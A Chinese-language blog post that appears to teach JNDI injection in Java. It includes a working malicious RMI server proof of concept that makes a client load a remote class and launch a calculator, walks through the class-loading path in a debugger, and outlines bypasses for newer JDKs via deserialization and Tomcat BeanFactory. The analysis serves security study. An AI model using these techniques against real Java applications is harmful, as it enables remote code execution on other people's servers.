JNDI注入

JNDI注入

简介

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

具体可参考官方文档,这里不在多叙述

JNDI+RMI利用

JNDI+RMI在JDK8u121之前可利用,而JNDI+LDAP在JDK8u191之前可以,因两者利用流程相似,故这里只分析JNDI-RMI

服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(1080);
        Reference reference = new Reference("Test", "Test", "http://127.0.0.1:8000/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);
        System.out.println("start");
    }
}

然后将恶意类Test.class放到服务器上,我这里使用python本地起了一个http服务

image-20221115171143303

然后客户端发起lookup请求

image-20221115171311292

触发恶意代码,弹出计算器

image-20221115171344600

流程分析

在客户端调用的lookup方法打断点进行调试

image-20221115171434480

首先会调用InitialContext#lookup()方法,这里会根据协议头调用不同的lookup()方法

image-20221115171459482

getURLOrDefaultInitCtx函数会分析name的协议头返回对象协议的环境对象,这里会返回rmiURLContext

image-20221115171738652

接着会调用rmiURLContext的父类GenericURLContext中的的lookup方法,此方法最终会调用JNDI中处理rmi的RegistryContext中的lookup方法

image-20221115172818002

接着跟进,会发现其调用了RegistryImpl_Stub的lookup方法,即调用了原生RMI的lookup接口,那么对rmi的攻击方法-反序列化,在这里也可以使用

image-20221115173942334

很明显JNDI注入不会仅仅如此,我们接着往下看,this.registry.lookup()会返回一个ReferenceWrapper_stub()对象,这个对象显然就是我们服务端绑定的ReferenceWrapper,而它是经过编码的

image-20221115174928046

接着调用com.sun.jndi.rmi.registry.RegistryContext#decodeObject()进行解码,会进入NamingManager.getObjectInstance方法,此方法为静态方法,且位于一个公共的类javax.naming.spi.NamingManager,目前为止,我们的恶意类还并没有被加载,但已经走出了JNDI对rmi处理的RegistryContext类,借此可绕过后续官方对jndi-rmi的修复

image-20221115175925355

而在此方法中,调用了getObjectFactoryFromReference()方法,去获取对象工厂

image-20221115180029034

我们跟进去看一下,其首先会尝试在本地进行一个类加载

image-20221115181635119

这个loadClass使用的是APPClassLoader,显然它是加载不到的

image-20221115181934239

接着往下走,如果前面没有加载到,这里就会尝试从远程地址(codebase)进行类加载

image-20221115182142488

这里会实例化一个URLClassLoader从指定的url中去进行类加载

image-20221115182501019

这是一个进行初始化的类加载,那么静态代码块static中的代码将会被执行

image-20221115182832536

继续往下走,会实例化获取到的远程对象,此时类中的构造方法会被执行

image-20221116122201306

上面两处均可触发我们构造的恶意代码

版本修复

  1. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,修复了JNDI中RMI引用类远程加载,但存在别的利用方式

  2. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true,修复了JNDI中RMI动态类加载

  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false,修复了JNDI中LDAP的引用类远程加载

高版本绕过

那么在JAVA高版本默认禁止引用类远程加载之后,JNDI注入还能如何利用呢?

既然不能远程加载恶意类,那我们可以尝试利用其本地的环境,这里还有两种利用方式,都非常依赖受害者本地中的环境,需要利用受害者本地的Gadget进行攻击:

  • 反序列化
  • 本地工厂类

反序列化

利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。利用限制就是需要本地有反序列化

if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
    ClassLoader cl = helper.getURLClassLoader(codebases);
    return deserializeObject((byte[])attr.get(), cl);
}

本地工厂类

既然在高版本中不能冲远程加载恶意工厂类,那我们可以尝试加载目标本地的恶意工厂类,但是这个恶意工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。

BeanFactory

org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

Druid

JNDI jdk高版本绕过—— Druid

探索高版本 JDK 下 JNDI 漏洞的利用方法-浅蓝

如何绕过高版本 JDK 的限制进行 JNDI 注入利用

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇